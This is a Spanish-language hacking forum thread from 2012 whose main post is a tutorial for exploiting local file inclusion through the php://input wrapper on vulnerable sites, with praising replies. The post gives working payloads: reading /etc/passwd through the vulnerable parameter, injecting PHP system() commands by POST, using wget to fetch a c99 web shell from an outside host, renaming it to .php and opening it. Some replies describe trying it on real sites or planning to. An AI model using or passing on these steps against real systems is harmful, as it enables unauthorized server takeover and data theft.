Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: CalebBucker en Julio 14, 2012, 11:53:18 PM

Título: Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: CalebBucker en Julio 14, 2012, 11:53:18 PM
(http://www.chmag.in/system/files/imagecache/IssueBlock/secure-coding-php_1.jpg)

Hola, esta vez les dejare un tutorial, la cual consiste en subir una SHELL explotando la vulnerabilidad LFI via "php:input" , solo basta con inyectar algunos códigos para obtener la misma.

Que es el LFI?

Es una falla en la programacion de una aplicacion; falla mediante la cual se pueden incluir archivos que se encuentren en el servidor como por ejemplo el /etc/passwd o algun otro archivo de configuracion que nos provea de informacion para atacar el sitio.

Ahora bien, empecemos...

Algunos de los sitios webs vulnerables a LFI, tienen este aspecto:

www.sitio-web.com/index.php?page=
www.sitio-web.com/index.php?file=

Ahora bien... para comprobar si realmente el sitio web es vulnerable a LFI, tenemos que ver si la web puede leer el "etc/passwd" cosa que el sitio web quedaría de la siguiente forma:

www.sitio-web.com/index.php?page=/etc/passwd

Si el sitio web puede leer dicho código, la web quedaría asi:
(http://i48.tinypic.com/21jqelk.png)

Como vemos en la imagen, ya comprobamos que el sitio web es vulnerable a LFI.

Ahora, haremos el siguiente paso, para subir una shell al servidor.

Necesitaremos lo siguiente:

Navegador: Firefox
Addon: HackBar
(http://i47.tinypic.com/2ug11lz.png)

Ahora vamos a tratar de poner este método en acción.

Cargamos la url vulnerable al HackBar e inyectamos el php://input la cual quedaría asi:

www.sitio-web.com/index.php?page=php://input

Habilitamos el "Enable Post data" y colocamos el siguiente comando:

<? system('uname -a'); ?>

Ejemplo:
(http://i50.tinypic.com/6fxutj.png)

Otros comandos:

Lista de directorios
<? system ('ls'); ?>

Identificación
<? system ('id'); ?>

Convertir el formato
<? system ('mv file.txt file.php'); ?>

Descargar
<? system ('wget'); ?>

Ahora, vamos a utilizar el comando <? system ('wget'); ?> para descargar alguna shell en el sitio.

Utilizaremos esta shell en .txt: http://r57.biz/c99.txt

<? system ('wget http://r57.biz/c99.txt'); ?>

(http://i45.tinypic.com/21lmpti.png)

Ahora, comprobaremos si la shell se descargo perfectamente, ejecutando el siguiente comando:

<? system ('ls'); ?>

Si la shell, se descargo perfectamente, en este caso lo veremos como c99.txt
(http://i48.tinypic.com/23howtj.png)

Ahora, como ya sabemos que nuestra shell se ejecuto perfectamente, tenemos que cambiarle el formato a .php para poder ingresar a la misma desde el navegador, solo basta con colocar el siguiente comando:

<? system ('mv c99.txt calebbucker.php'); ?>

(http://i48.tinypic.com/2i135vl.png)

Ahora, listamos nuevamente los directorios y apreciaremos nuestra shell en .php
(http://i46.tinypic.com/24me4yb.png)

Ahora, en este caso nos dirigimos a www.sitio-web.com/calebbucker.php y Voila tenemos nuestra shell!!
(http://i46.tinypic.com/1zx4g9d.png)

No Entendistes?

Observa el VideoTutorial en 1080p HD!


Espero te sirva y lo uses con prudencia.

Saludos.
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: arthusu en Julio 15, 2012, 04:44:54 AM
Excelente tutorial :)
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: arthusu en Julio 15, 2012, 05:32:47 AM
Estuve probando con varias paginas vulnerables a lfi pero ninguna de ellas pude hacer el php://input :(
Aunque fueran por post me puse a mirar con el http live headers para ver si se enviaba por post correctamente y si! habia unas paginas que no me tiraban nada, otras que me tiraban un error de file stream open, es decir, que no se podia abrir un archivo en php xD!, tambien cuando no me salia nada me fije en el codigo ctrl+u para ver si estaba algo pero nada, a lo mejor es por que ya solucionaron este bug? bueno igual puede aver alguno igual me sirvio para aprender :D
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: Pr0ph3t en Julio 15, 2012, 06:54:54 AM
Grande Caleb, buen tuto te montaste ;)
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: k0ws en Julio 15, 2012, 07:22:09 AM
Pedazo de tutorial, me encanto  ;D

-Saludos-
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: Muppet en Julio 15, 2012, 09:46:33 PM
Exelente Aporte!
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: q3rv0 en Agosto 27, 2012, 08:31:06 PM
Se te olvido decir que para utlizar el wrapper php://input las directivas allow_url_include y allow_url_fopen tienen que estar ON, por consiguiente dicho LFI se convertiria en un RFI, y seria al pedo ejecutar comando de esa manera puediendo incluir directamente una shell a travez de la url.

Buen post igual!  ;) 
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: Mr_Pack en Agosto 31, 2012, 03:43:58 AM
Excelente Aporte  Caleb  ;)

salu2  ;D
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: BlackBox en Septiembre 08, 2012, 01:08:30 AM
Muy bueno conocia el de Tamper Data injectar en el request la shell..

Te Hago una pregunta muchas veces he encontrado sitios a los cuales les hago esta inyeccion en un campo ejemplo:

download.php?id=/etc/passwd

Si y cuando hago esto me descarga el archivillo con toda la info a mi equipo, me confunde algo este tipo de inyeccion y no sabria si al inyectar la shell en ves de alojarla en el servidor me la descargue al equipo, no he vuelto a encontrar sitios asi como para probar con HackBar

Muchas Gracias por tus Buenos Aportes
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: droxiscoder en Septiembre 09, 2012, 01:20:18 PM
excelente aporte muchas gracias
Título: Re:Subiendo Shell Explotando LFI via PHP:INPUT
Publicado por: DogBreaker en Noviembre 02, 2012, 11:18:52 AM
exelente ya lo voy a llevar a la practica!